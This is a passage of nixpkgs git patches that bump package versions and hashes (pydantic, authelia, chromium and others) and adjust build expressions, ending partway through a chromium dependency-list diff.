https://github.com/pydantic/pydantic-core/releases/tag/v2.33.1
https://github.com/pydantic/pydantic-core/releases/tag/v2.33.2
(cherry picked from commit 13990d0cd59d0ee6539376f9b14c170930f5f964)
---
 pkgs/development/python-modules/pydantic-core/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/development/python-modules/pydantic-core/default.nix b/pkgs/development/python-modules/pydantic-core/default.nix
index 0463c263c4ad..081b12075ec3 100644
--- a/pkgs/development/python-modules/pydantic-core/default.nix
+++ b/pkgs/development/python-modules/pydantic-core/default.nix
@@ -19,20 +19,20 @@
 let
   pydantic-core = buildPythonPackage rec {
     pname = "pydantic-core";
-    version = "2.33.0";
+    version = "2.33.2";
     pyproject = true;
 
     src = fetchFromGitHub {
       owner = "pydantic";
       repo = "pydantic-core";
       tag = "v${version}";
-      hash = "sha256-F+ie8cJ1xl8i3kQSH6H24Vi5KSkRGjX/bXIfzY+ZayM=";
+      hash = "sha256-2jUkd/Y92Iuq/A31cevqjZK4bCOp+AEC/MAnHSt2HLY=";
     };
 
     cargoDeps = rustPlatform.fetchCargoVendor {
       inherit src;
       name = "${pname}-${version}";
-      hash = "sha256-bGhS36Fc7LUdpTHsIM1zn1vX2T/OX+fPewLxLGSZRrk=";
+      hash = "sha256-MY6Gxoz5Q7nCptR+zvdABh2agfbpqOtfTtor4pmkb9c=";
     };
 
     nativeBuildInputs = [

From b6a40f5a4b5b965f166a579a2fa51999f51b75af Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Thu, 15 May 2025 18:52:31 +0200
Subject: [PATCH 0124/4511] python313Packages.pydantic: 2.11.1 -> 2.11.4

https://github.com/pydantic/pydantic/blob/v2.11.4/HISTORY.md
(cherry picked from commit e3a83ef13721f46dc880c90d3e681d698e4812c8)
---
 pkgs/development/python-modules/pydantic/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/python-modules/pydantic/default.nix b/pkgs/development/python-modules/pydantic/default.nix
index 5f1723538f0f..890759f08a84 100644
--- a/pkgs/development/python-modules/pydantic/default.nix
+++ b/pkgs/development/python-modules/pydantic/default.nix
@@ -29,7 +29,7 @@
 
 buildPythonPackage rec {
   pname = "pydantic";
-  version = "2.11.1";
+  version = "2.11.4";
   pyproject = true;
 
   disabled = pythonOlder "3.8";
@@ -38,7 +38,7 @@ buildPythonPackage rec {
     owner = "pydantic";
     repo = "pydantic";
     tag = "v${version}";
-    hash = "sha256-82knT2Dzm/p0dz56bH0sZ4WffgFnN5cukbipPBO65fQ=";
+    hash = "sha256-/LMemrO01KnhDrqKbH1qBVyO/uAiqTh5+FHnrxE8BUo=";
   };
 
   postPatch = ''

From e86c36ecdfbc5b6379b061e345eb3e534af6d865 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 24 May 2025 18:54:34 +0000
Subject: [PATCH 0125/4511] runitor: 1.3.0 -> 1.4.0

(cherry picked from commit 1865bce126f9c921fa2e33243d43a66839d5660a)
---
 pkgs/by-name/ru/runitor/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ru/runitor/package.nix b/pkgs/by-name/ru/runitor/package.nix
index b5e157aca970..afcc7c661565 100644
--- a/pkgs/by-name/ru/runitor/package.nix
+++ b/pkgs/by-name/ru/runitor/package.nix
@@ -8,14 +8,14 @@
 
 buildGoModule rec {
   pname = "runitor";
-  version = "1.3.0";
-  vendorHash = null;
+  version = "1.4.0";
+  vendorHash = "sha256-SYYAAtuWt/mTmZPBilYxf2uZ6OcgeTnobYiye47i8mI=";
 
   src = fetchFromGitHub {
     owner = "bdd";
     repo = "runitor";
     rev = "v${version}";
-    sha256 = "sha256-9sg+ku3Qh/X/EZ2VCrvIc0pq5iyn4O8RZrO4KpkciAI=";
+    sha256 = "sha256-eD8bJ34ZfTPToQrZ8kZGcSBdMmmCwRtuXgwZmz15O3s=";
   };
 
   ldflags = [

From 57812b30b0da9e63f59d0cdc3bf46152fa6955a1 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Robert=20Sch=C3=BCtz?= <nix@dotlambda.de>
Date: Mon, 26 May 2025 10:43:07 -0700
Subject: [PATCH 0126/4511] octoprint: unpin pydantic

(cherry picked from commit a578aa41cb4a6f04d7d4ca1a268a421caa665f05)
---
 pkgs/by-name/oc/octoprint/package.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/oc/octoprint/package.nix b/pkgs/by-name/oc/octoprint/package.nix
index 951b69d5c4de..9debb63258ef 100644
--- a/pkgs/by-name/oc/octoprint/package.nix
+++ b/pkgs/by-name/oc/octoprint/package.nix
@@ -132,7 +132,7 @@ let
               zeroconf
               zipstream-ng
               class-doc
-              pydantic_1
+              pydantic
             ]
             ++ lib.optionals stdenv.hostPlatform.isDarwin [ py.pkgs.appdirs ]
             ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [ octoprint-pisupport ];

From bba450d531467aaa6a3d16574bf41b81ddaec59d Mon Sep 17 00:00:00 2001
From: Marcin Serwin <marcin@serwin.dev>
Date: Fri, 23 May 2025 18:06:41 +0200
Subject: [PATCH 0127/4511] rebels-in-the-sky: 1.0.29 -> 1.0.30

Signed-off-by: Marcin Serwin <marcin@serwin.dev>
(cherry picked from commit 6bf8ab3dedccab2fb98f32f55a0003f8c0ef5ab2)
---
 pkgs/by-name/re/rebels-in-the-sky/package.nix | 21 ++++++-------------
 1 file changed, 6 insertions(+), 15 deletions(-)

diff --git a/pkgs/by-name/re/rebels-in-the-sky/package.nix b/pkgs/by-name/re/rebels-in-the-sky/package.nix
index 7f6cbe16c746..7a8cf044293f 100644
--- a/pkgs/by-name/re/rebels-in-the-sky/package.nix
+++ b/pkgs/by-name/re/rebels-in-the-sky/package.nix
@@ -3,7 +3,6 @@
   lib,
   fetchFromGitHub,
   rustPlatform,
-  fetchpatch,
   cmake,
   pkg-config,
   alsa-lib,
@@ -15,28 +14,20 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "rebels-in-the-sky";
-  version = "1.0.29";
+  version = "1.0.30";
 
   src = fetchFromGitHub {
     owner = "ricott1";
     repo = "rebels-in-the-sky";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-rWBaD4nxSmr1RZRbc51Sz9Xl2Te2yv4HNuFqWj8KayM=";
+    hash = "sha256-eC8n9g2kFErTRWWNo6jwAMGBX3+xGjtzq23+r3w0n0I=";
   };
   useFetchCargoVendor = true;
-  cargoHash = "sha256-ZRxq6/mgXZ33o1AEHnSOt4HJAI1y+F+ysVNvvbb9M28=";
+  cargoHash = "sha256-dGD0RpelENEWe9W/3CXUS2GhOXRaWhCoD8AI2n4mUfs=";
 
-  patches =
-    lib.optionals (!withRadio) [
-      ./disable-radio.patch
-    ]
-    ++ [
-      # https://github.com/ricott1/rebels-in-the-sky/pull/25
-      (fetchpatch {
-        url = "https://github.com/ricott1/rebels-in-the-sky/commit/31778fee783637fe8af09f71754f35c5d15b800a.patch";
-        hash = "sha256-PO/aY+fB72gQpxE5eaIP/s4xevfQ/Ac1TH5ZEKwpw1I=";
-      })
-    ];
+  patches = lib.optionals (!withRadio) [
+    ./disable-radio.patch
+  ];
 
   nativeBuildInputs =
     [

From 06fd3bf096dde9332610905627d99dcfedb8f741 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Nicolas=20M=C3=A9meint?= <git@nicomem.com>
Date: Sun, 25 May 2025 07:44:07 +0200
Subject: [PATCH 0128/4511] authelia: 4.39.3 -> 4.39.4

(cherry picked from commit 147e08f8a1f5acd56d425e9684bee8e6bfb87279)
---
 pkgs/servers/authelia/sources.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/servers/authelia/sources.nix b/pkgs/servers/authelia/sources.nix
index 61a553705af0..a12804d8abfc 100644
--- a/pkgs/servers/authelia/sources.nix
+++ b/pkgs/servers/authelia/sources.nix
@@ -1,14 +1,14 @@
 { fetchFromGitHub }:
 rec {
   pname = "authelia";
-  version = "4.39.3";
+  version = "4.39.4";
 
   src = fetchFromGitHub {
     owner = "authelia";
     repo = "authelia";
     rev = "v${version}";
-    hash = "sha256-HBkHN7c8O07b2ZI6R7KFvdBF5GWuYU6rmisxLMSH5EQ=";
+    hash = "sha256-OIf7Q84uWk2q+lTBQNHHO11QEl7FBGv2uNx+g2GNHE0=";
   };
-  vendorHash = "sha256-2wJvX6jAjU9iaFMIcC5Qm1agRMPv4fFfsCeTkvXSpYs=";
-  pnpmDepsHash = "sha256-uy6uKfZpsFEl2n6zOriRsKwlw3av1f0xBF/CwhWLJMU=";
+  vendorHash = "sha256-Vndkts5e3NSdtTk3rVZSjfuGuafQ3eswoSLLFspXTIw=";
+  pnpmDepsHash = "sha256-hA9STLJbFw5pFHx2Wi3X6JFsTvHzCMFVS3HEJApQ9zM=";
 }

From e82c9e434e7a2030d62a7966ddc32cbf926fe957 Mon Sep 17 00:00:00 2001
From: Martin Wimpress <martin@wimpress.org>
Date: Mon, 19 May 2025 15:53:16 +0100
Subject: [PATCH 0129/4511] obs-studio-plugins.obs-replay-source: remove
 unnecessary buildInputs

(cherry picked from commit bbcf5f763a5a4de569e7ef32de9298ae3e55a5d0)
---
 .../obs-studio/plugins/obs-replay-source.nix  | 35 +++++++------------
 1 file changed, 13 insertions(+), 22 deletions(-)

diff --git a/pkgs/applications/video/obs-studio/plugins/obs-replay-source.nix b/pkgs/applications/video/obs-studio/plugins/obs-replay-source.nix
index b589a6639332..8279fee497f9 100644
--- a/pkgs/applications/video/obs-studio/plugins/obs-replay-source.nix
+++ b/pkgs/applications/video/obs-studio/plugins/obs-replay-source.nix
@@ -3,44 +3,35 @@
   lib,
   fetchFromGitHub,
   cmake,
-  libcaption,
   obs-studio,
-  qtbase,
 }:
 
-stdenv.mkDerivation (finalAttrs: {
+stdenv.mkDerivation rec {
   pname = "obs-replay-source";
   version = "1.8.1";
 
   src = fetchFromGitHub {
     owner = "exeldro";
     repo = "obs-replay-source";
-    tag = finalAttrs.version;
-    hash = "sha256-+PSALDqHXPyR0J7YnLn3QgPN6eIoH3yTIm1Bp7Li8c8=";
+    rev = version;
+    sha256 = "sha256-+PSALDqHXPyR0J7YnLn3QgPN6eIoH3yTIm1Bp7Li8c8=";
   };
 
   nativeBuildInputs = [ cmake ];
-
-  buildInputs = [
-    libcaption
-    obs-studio
-    qtbase
-  ];
+  buildInputs = [ obs-studio ];
 
   postInstall = ''
-    mkdir -p $out/lib $out/share
-    mv $out/obs-plugins/64bit $out/lib/obs-plugins
-    rm -rf $out/obs-plugins
-    mv $out/data $out/share/obs
+    rm -rf $out/obs-plugins $out/data
   '';
 
-  dontWrapQtApps = true;
-
-  meta = {
+  meta = with lib; {
     description = "Replay source for OBS studio";
     homepage = "https://github.com/exeldro/obs-replay-source";
-    license = lib.licenses.gpl2Only;
-    platforms = lib.platforms.linux;
-    maintainers = with lib.maintainers; [ pschmitt ];
+    license = licenses.gpl2Only;
+    platforms = platforms.linux;
+    maintainers = with maintainers; [
+      flexiondotorg
+      pschmitt
+    ];
   };
-})
+}

From 444e8b00c10bbe1d3cc8ec8664a28bf2d7b9bcd9 Mon Sep 17 00:00:00 2001
From: Louis Thevenet <louis.tvnt@gmail.com>
Date: Sun, 18 May 2025 12:23:54 +0200
Subject: [PATCH 0130/4511] vault-tasks: 0.11.0 -> 0.11.1

(cherry picked from commit 346a4e2f2c92ce76009e2ea075c0e89f9e072031)
---
 pkgs/by-name/va/vault-tasks/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/va/vault-tasks/package.nix b/pkgs/by-name/va/vault-tasks/package.nix
index 423adab5fe02..711c88a01459 100644
--- a/pkgs/by-name/va/vault-tasks/package.nix
+++ b/pkgs/by-name/va/vault-tasks/package.nix
@@ -5,7 +5,7 @@
   nix-update-script,
 }:
 let
-  version = "0.11.0";
+  version = "0.11.1";
 in
 rustPlatform.buildRustPackage {
   pname = "vault-tasks";
@@ -14,10 +14,10 @@ rustPlatform.buildRustPackage {
     owner = "louis-thevenet";
     repo = "vault-tasks";
     rev = "v${version}";
-    hash = "sha256-3hRn3x86XLVMBtDlMsuqeEWgsgSeapri9MYNLqDxGF4=";
+    hash = "sha256-7stFa2fLczGyoM/O2S/uKCfjSDyABUw/b3tXp7Olqq8=";
   };
   useFetchCargoVendor = true;
-  cargoHash = "sha256-mh6LUb1gS/cICyVWCYvmCSeqxaIWI6PyLeQx13dZ0CA=";
+  cargoHash = "sha256-RSW0N0icKAZbh8KQNkI9TgcKwa6hTKjhaJWCGADtfq8=";
 
   postInstall = "install -Dm444 desktop/vault-tasks.desktop -t $out/share/applications";
 

From cc046d1848d1915d567efec46ad979ee156d740a Mon Sep 17 00:00:00 2001
From: emilylange <git@emilylange.de>
Date: Wed, 28 May 2025 04:02:58 +0200
Subject: [PATCH 0131/4511] chromium,chromedriver: 136.0.7103.113 ->
 137.0.7151.55

https://chromereleases.googleblog.com/2025/05/stable-channel-update-for-desktop_27.html

This update includes 11 security fixes.

CVEs:
CVE-2025-5063 CVE-2025-5280 CVE-2025-5064 CVE-2025-5065 CVE-2025-5066
CVE-2025-5281 CVE-2025-5283 CVE-2025-5067

(cherry picked from commit 8d399f35cc57dfbfc09658fe7fdd284a0fd34dbc)
---
 .../networking/browsers/chromium/common.nix   |  26 ++
 .../networking/browsers/chromium/info.json    | 276 +++++++++---------
 2 files changed, 164 insertions(+), 138 deletions(-)

diff --git a/pkgs/applications/networking/browsers/chromium/common.nix b/pkgs/applications/networking/browsers/chromium/common.nix
index fe3e5e28cef3..031ac6d70db7 100644
--- a/pkgs/applications/networking/browsers/chromium/common.nix
+++ b/pkgs/applications/networking/browsers/chromium/common.nix
@@ -565,6 +565,32 @@ let
         # preventing compilations of chromium with versions below their intended version, not about running the very
         # exact version or even running a newer version.
         ./patches/chromium-136-nodejs-assert-minimal-version-instead-of-exact-match.patch
+      ]
+      ++ lib.optionals (chromiumVersionAtLeast "137") [
+        (fetchpatch {
+          # Partial revert of upstream clang+llvm bump revert to fix the following error when building with LLVM < 21:
+          #  clang++: error: unknown argument: '-fextend-variable-liveness=none'
+          # https://chromium-review.googlesource.com/c/chromium/src/+/6514242
+          name = "chromium-137-llvm-19.patch";
+          url = "https://chromium.googlesource.com/chromium/src/+/ddf8f8a465be2779bd826db57f1299ccd2f3aa25^!?format=TEXT";
+          includes = [ "build/config/compiler/BUILD.gn" ];
+          revert = true;
+          decode = "base64 -d";
+          hash = "sha256-wAR8E4WKMvdkW8DzdKpyNpp4dynIsYAbnJ2MqE8V2o8=";
+        })
+      ]
+      ++ lib.optionals (chromiumVersionAtLeast "137") [
+        (fetchpatch {
+          # Backport "Fix build with system libpng" that fixes a typo in core/fxcodec/png/png_decoder.cpp that causes
+          # the build to fail at the final linking step.
+          # https://pdfium-review.googlesource.com/c/pdfium/+/132130
+          name = "pdfium-Fix-build-with-system-libpng.patch";
+          url = "https://pdfium.googlesource.com/pdfium.git/+/83f11d630aa1cb6d5ceb292364412f7b0585a201^!?format=TEXT";
+          extraPrefix = "third_party/pdfium/";
+          stripLen = 1;
+          decode = "base64 -d";
+          hash = "sha256-lDX0OLdxxTNLtViqEt0luJQ/H0mlvQfV0zbY1Ubqyq0=";
+        })
       ];
 
     postPatch =
diff --git a/pkgs/applications/networking/browsers/chromium/info.json b/pkgs/applications/networking/browsers/chromium/info.json
index 64a68d26f105..b3bda2dfd9df 100644
--- a/pkgs/applications/networking/browsers/chromium/info.json
+++ b/pkgs/applications/networking/browsers/chromium/info.json
@@ -1,27 +1,27 @@
 {
   "chromium": {
-    "version": "136.0.7103.113",
+    "version": "137.0.7151.55",
     "chromedriver": {
-      "version": "136.0.7103.114",
-      "hash_darwin": "sha256-RAWarx2vOh23XKvhNwAkCgG9swGxX1dw8LaqIQBPJFo=",
-      "hash_darwin_aarch64": "sha256-TZcO5RiRW0dN0+jBArclBkIvYSSirhmPgJXswfTufgk="
+      "version": "137.0.7151.56",
+      "hash_darwin": "sha256-z4GTPrONaXARP0d8vInJdFxR052PuuI6IJy1PEv2RNg=",
+      "hash_darwin_aarch64": "sha256-wlSDfCiBTdLWwabpHwOiM8Y3asn7ueHGSMh2AANaE+A="
     },
     "deps": {
       "depot_tools": {
-        "rev": "f40ddcd8d51626fb7be3ab3c418b3f3be801623f",
-        "hash": "sha256-O9vVbrCqHD4w39Q8ZAxl1RwzJxbH/thjqacMtCnOPdg="
+        "rev": "1fcc527019d786502b02f71b8b764ee674a40953",
+        "hash": "sha256-7HJyJARZPes5MmKgXd3TV1uRjk0bH/pkPm+F4scg+Tc="
       },
       "gn": {
-        "rev": "6e8e0d6d4a151ab2ed9b4a35366e630c55888444",
-        "hash": "sha256-vDKMt23RMDI+KX6CmjfeOhRv2haf/mDOuHpWKnlODcg="
+        "rev": "85cc21e94af590a267c1c7a47020d9b420f8a033",
+        "hash": "sha256-+nKP2hBUKIqdNfDz1vGggXSdCuttOt0GwyGUQ3Z1ZHI="
       },
-      "npmHash": "sha256-QRjk9X4rJW3ofizK33R4T1qym1riqcnpBhDF+FfNZLo="
+      "npmHash": "sha256-I6MsfAhrLRmgiRJ13LSejfy2N63C3Oug5tOOXA622j4="
     },
     "DEPS": {
       "src": {
         "url": "https://chromium.googlesource.com/chromium/src.git",
-        "rev": "76fa3c1782406c63308c70b54f228fd39c7aaa71",
-        "hash": "sha256-U6WsxmGf4eFKVBBgppoHIfMlrT34a1oymZETzEhzkQA=",
+        "rev": "254bc711794d7ad269495f3d419a209935b78cad",
+        "hash": "sha256-dB81lgjgVK0qXWgAddB7G4L7rsJpZp+0VsjDKvGugEs=",
         "recompress": true
       },
       "src/third_party/clang-format/script": {
@@ -31,28 +31,28 @@
       },
       "src/third_party/compiler-rt/src": {
         "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/compiler-rt.git",
-        "rev": "bc2b30185219a2defe3c8a3b45f95a11386a7f6f",
-        "hash": "sha256-bfDMglQaiExTFwaVBroia+6G+9AHEVy5cQGocaEVOgA="
+        "rev": "d0e4db9fcea15a392aaada986cbe33658afc0454",
+        "hash": "sha256-P/uDeqalafY1S7AqZkL1Pz7Jc+iWrkfiACxEtgTRqdU="
       },
       "src/third_party/libc++/src": {
         "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/libcxx.git",
-        "rev": "449310fe2e37834a7e62972d2a690cade2ef596b",
-        "hash": "sha256-Ypi5fmWdoNA1IZDoKITlkNRITmho8HzVlgjlmtx0Y84="
+        "rev": "9d0cba76be7399399d3a499ff3a52c264db3b104",
+        "hash": "sha256-wpMma142NBqyrSbaReQr5yOYhvQIZ06j6S2EUnXmZ2I="
       },
       "src/third_party/libc++abi/src": {
         "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/libcxxabi.git",
-        "rev": "94c5d7a8edc09f0680aee57548c0b5d400c2840d",
-        "hash": "sha256-wMMfj3E2AQJxovoSEIuT2uTyrcGBurS1HrHZOmP36+g="
+        "rev": "f2a7f2987f9dcdf8b04c2d8cd4dcb186641a7c3e",
+        "hash": "sha256-X9cAbyd8ZPSwqOGhPYwIZ6b9E3tVwAuAYZKMgbZQxgk="
       },
       "src/third_party/libunwind/src": {
         "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/libunwind.git",
-        "rev": "e2e6f2a67e9420e770b014ce9bba476fa2ab9874",
-        "hash": "sha256-LdRaxPo2i7uMeFxpR7R4o3V+1ycBcygT/D+gklsD0tA="
+        "rev": "81e2cb40a70de2b6978e6d8658891ded9a77f7e3",
+        "hash": "sha256-XdFKn+cGOxA0fHkVMG9UAhCmpML44ocoyHB7XnumX7o="
       },
       "src/third_party/llvm-libc/src": {
         "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/libc.git",
-        "rev": "97989c1bfa112c81f6499487fedc661dcf6d3b2e",
-        "hash": "sha256-9Ieaxe0PFIIP4RttODd8pTw/zVjQZGZtaYSybwnzTz0="
+        "rev": "cc59264cf9b2ecab0cfc8b51f6f1878372416d36",
+        "hash": "sha256-wQMUL5uAaR8sA1V0FHTZv3jVVaF3NxiHfNnlMq3YImY="
       },
       "src/chrome/test/data/perf/canvas_bench": {
         "url": "https://chromium.googlesource.com/chromium/canvas_bench.git",
@@ -71,18 +71,18 @@
       },
       "src/docs/website": {
         "url": "https://chromium.googlesource.com/website.git",
-        "rev": "929dd3e6d02aac1f46653d03b2a644e2873a3bbb",
-        "hash": "sha256-lY4P2f90/9JwCpxuBFjim7KygczM8zMDQVUaEYaQjnA="
+        "rev": "e157e12d99cfc729a970b474344673c44e2d2c9c",
+        "hash": "sha256-fowwJbXOR4OIN4+1bJEWv9VP/TLHb9+H1Vt3apVLwkk="
       },
       "src/media/cdm/api": {
         "url": "https://chromium.googlesource.com/chromium/cdm.git",
-        "rev": "5a1675c86821a48f8983842d07f774df28dfb43c",
-        "hash": "sha256-FgeuOsxToA4qx3H76czCPeO/WVtprRkllDMPancw3Ik="
+        "rev": "852a81f0ae3ab350041d2e44d207a42fb0436ae1",
+        "hash": "sha256-3JBBcBg2ep/7LnvMHBWnqAFG+etETArFXZr4Klv30T4="
       },
       "src/net/third_party/quiche/src": {
         "url": "https://quiche.googlesource.com/quiche.git",
-        "rev": "5077431b183c43f10890b865fc9f02a4dcf1dd85",
-        "hash": "sha256-CLvZTBvtTdOpC8eWUTWkb0ITJ5EViPmc6d5O8cTaKY8="
+        "rev": "faec206356fe384c522f34982ae2e92f2f111242",
+        "hash": "sha256-8SuRhYAD3RWMiqD/a8usrRnYKd6prAK5jdwJVXRI+Q0="
       },
       "src/testing/libfuzzer/fuzzers/wasm_corpus": {
         "url": "https://chromium.googlesource.com/v8/fuzzer_wasm_corpus.git",
@@ -96,8 +96,8 @@
       },
       "src/third_party/angle": {
         "url": "https://chromium.googlesource.com/angle/angle.git",
-        "rev": "fa40b7c586fd2da9fd7e5c4d893ecb1334553b9e",
-        "hash": "sha256-bIpN9lehrKpJYBKLeo8Szz0/aVe7NU2Eo2NIO5dAZ9w="
+        "rev": "df9c59dcacff7d186d00e3263a1aa68f8059137c",
+        "hash": "sha256-ybi/DwOQ10I+MK9buKpdNcUlFAI9RA3NfyoB3Udpfyo="
       },
       "src/third_party/angle/third_party/glmark2/src": {
         "url": "https://chromium.googlesource.com/external/github.com/glmark2/glmark2",
@@ -111,8 +111,8 @@
       },
       "src/third_party/angle/third_party/VK-GL-CTS/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/VK-GL-CTS",
-        "rev": "b6bb4bab7b4a36bc95566e00cb8f01051089afc3",
-        "hash": "sha256-L2ewIW6C+PTftbbXf+nlWcFD0y4naBNg7FLXMMxiWac="
+        "rev": "dd7e71367795e2dc4d46effda5378f22e9000d16",
+        "hash": "sha256-EZoSoDLFWRR2xkHOKNaNVQvubFp8in0p7/CHN8CFaVI="
       },
       "src/third_party/anonymous_tokens/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/anonymous-tokens.git",
@@ -131,8 +131,8 @@
       },
       "src/third_party/dawn": {
         "url": "https://dawn.googlesource.com/dawn.git",
-        "rev": "1cffe7ec763900d104e4df62bc96d93f572157cb",
-        "hash": "sha256-VK+5saAJlZOluMAYKTKwNcnZALsCYkzgVfQHylt3584="
+        "rev": "fbe707f88ccabca01031e47bf165bd9d499878dd",
+        "hash": "sha256-8tmDR3l7eHWUfVRU90Kg76N/moU6Lb5b3FySJOckl8U="
       },
       "src/third_party/dawn/third_party/glfw": {
         "url": "https://chromium.googlesource.com/external/github.com/glfw/glfw",
@@ -141,8 +141,8 @@
       },
       "src/third_party/dawn/third_party/dxc": {
         "url": "https://chromium.googlesource.com/external/github.com/microsoft/DirectXShaderCompiler",
-        "rev": "206b77577d15fc5798eb7ad52290388539b7146d",
-        "hash": "sha256-WXgiOlqtczrUkXp46Q/GTaYk0LDqebQSFbyWpD299Xw="
+        "rev": "8209d53f0ef0257e5b8c78d22057086403946cca",
+        "hash": "sha256-2yM8Fct7Ru8ZSFr+Qm1Bv52K2/geAwmOpWc/X7yxLQY="
       },
       "src/third_party/dawn/third_party/dxheaders": {
         "url": "https://chromium.googlesource.com/external/github.com/microsoft/DirectX-Headers",
@@ -161,8 +161,8 @@
       },
       "src/third_party/dawn/third_party/webgpu-cts": {
         "url": "https://chromium.googlesource.com/external/github.com/gpuweb/cts",
-        "rev": "5fbd82847521cb2d584773facd56c2eb6a4df180",
-        "hash": "sha256-WTVOc2EVB/DJ4aDeB8XIF/ff6LSeEUMt2Xkvj5Hu4aU="
+        "rev": "3df76734dc695c4d1c51276b5d9eb63078362972",
+        "hash": "sha256-4jCsCt2rcUpUk2xeL3tZx/jTnuJ+COG+xsDtR+sK1oQ="
       },
       "src/third_party/highway/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/highway.git",
@@ -176,13 +176,13 @@
       },
       "src/third_party/boringssl/src": {
         "url": "https://boringssl.googlesource.com/boringssl.git",
-        "rev": "a9993612faac4866bc33ca8ff37bfd0659af1c48",
-        "hash": "sha256-fUPl9E2b7RfanH0pZNArIkJ4lnnmCtyk7sCaTArCB70="
+        "rev": "918cf66ed841930fe1554ae8d78974b95e989596",
+        "hash": "sha256-gzcXse/emv9JBMiInUV5KTeyMQ0igUdFpzUJR4vCUu4="
       },
       "src/third_party/breakpad/breakpad": {
         "url": "https://chromium.googlesource.com/breakpad/breakpad.git",
-        "rev": "657a441e5c1a818d4c10b7bafd431454e6614901",
-        "hash": "sha256-9MePkv10fwyJ0VDWRtvRcbLMAcJzZlziGTPzXJYjVJE="
+        "rev": "232a723f5096ab02d53d87931efa485fa77d3b03",
+        "hash": "sha256-0ynZuxIqBIpNkfD3Y9XdPFQr7HeQcsUO3lhnqvH+k8c="
       },
       "src/third_party/cast_core/public/src": {
         "url": "https://chromium.googlesource.com/cast_core/public",
@@ -191,8 +191,8 @@
       },
       "src/third_party/catapult": {
         "url": "https://chromium.googlesource.com/catapult.git",
-        "rev": "5bda0fdab9d93ec9963e2cd858c7b49ad7fec7d4",
-        "hash": "sha256-xwR9gGE8uU8qFr7GgS3/1JiuTmj1tvcM5CoCfPMdW2M="
+        "rev": "000f47cfa393d7f9557025a252862e2a61a60d44",
+        "hash": "sha256-FIJZE1Qu1MLZA4qxB68k1NjhgSbFTjf57YF85JicVZw="
       },
       "src/third_party/ced/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/compact_enc_det.git",
@@ -216,8 +216,8 @@
       },
       "src/third_party/cpuinfo/src": {
         "url": "https://chromium.googlesource.com/external/github.com/pytorch/cpuinfo.git",
-        "rev": "b73ae6ce38d5dd0b7fe46dbe0a4b5f4bab91c7ea",
-        "hash": "sha256-JNLaK105qDk9DxTqCFyXFfYn46dF+nZIaF5urSVRa0U="
+        "rev": "39ea79a3c132f4e678695c579ea9353d2bd29968",
+        "hash": "sha256-uochXC0AtOw8N/ycyVJdiRw4pibCW2ENrFMT3jtxDSg="
       },
       "src/third_party/crc32c/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/crc32c.git",
@@ -226,29 +226,34 @@
       },
       "src/third_party/cros_system_api": {
         "url": "https://chromium.googlesource.com/chromiumos/platform2/system_api.git",
-        "rev": "62ab80355a8194e051bd1d93a5c09093c7645a32",
-        "hash": "sha256-pZi6GRu7OGL7jbN4FM2qDsLCsT6cM+RM0a7XtFZVSVE="
+        "rev": "68114875ad35b573034a2ab1f5cdf3dbb0e59468",
+        "hash": "sha256-cGpteAnjGcxJUcrdLRFfQN7ruTEdNvNCbOH6EC+a39s="
       },
       "src/third_party/crossbench": {
         "url": "https://chromium.googlesource.com/crossbench.git",
-        "rev": "ce46be2573328fa7b0fd1d23c04b63389f298122",
-        "hash": "sha256-Q0kdJdEmh+wbO5oeTp98OHKh9luz8u6PDztGToldZjk="
+        "rev": "d91cc488cd651b00009e5d6c70f222362598bec9",
+        "hash": "sha256-o/sw1P+mZOSb6XIVFivC02hTPu++x+xJy2SRP2I9yGE="
       },
       "src/third_party/depot_tools": {
         "url": "https://chromium.googlesource.com/chromium/tools/depot_tools.git",
-        "rev": "f40ddcd8d51626fb7be3ab3c418b3f3be801623f",
-        "hash": "sha256-O9vVbrCqHD4w39Q8ZAxl1RwzJxbH/thjqacMtCnOPdg="
+        "rev": "1fcc527019d786502b02f71b8b764ee674a40953",
+        "hash": "sha256-7HJyJARZPes5MmKgXd3TV1uRjk0bH/pkPm+F4scg+Tc="
       },
       "src/third_party/devtools-frontend/src": {
         "url": "https://chromium.googlesource.com/devtools/devtools-frontend",
-        "rev": "4a53cbe7a1270c91ec60903ee792de658453becb",
-        "hash": "sha256-hEksLeJli/1TNNrDcUjv19cpyIJph6kfriNfe7FWO0U="
+        "rev": "a54ed1df191a9e2aff2e9ef453ee6fdc959dd125",
+        "hash": "sha256-E6sx2ioDZRWJljbS17ztRwz+gsDhIHiluvkUx1rRZcw="
       },
       "src/third_party/dom_distiller_js/dist": {
         "url": "https://chromium.googlesource.com/chromium/dom-distiller/dist.git",
         "rev": "199de96b345ada7c6e7e6ba3d2fa7a6911b8767d",
         "hash": "sha256-yuEBD2XQlV3FGI/i7lTmJbCqzeBiuG1Qow8wvsppGJw="
       },
+      "src/third_party/dragonbox/src": {
+        "url": "https://chromium.googlesource.com/external/github.com/jk-jeon/dragonbox.git",
+        "rev": "6c7c925b571d54486b9ffae8d9d18a822801cbda",
+        "hash": "sha256-AOniXMPgwKpkJqivRd+GazEnhdw53FzhxKqG+GdU+cc="
+      },
       "src/third_party/eigen3/src": {
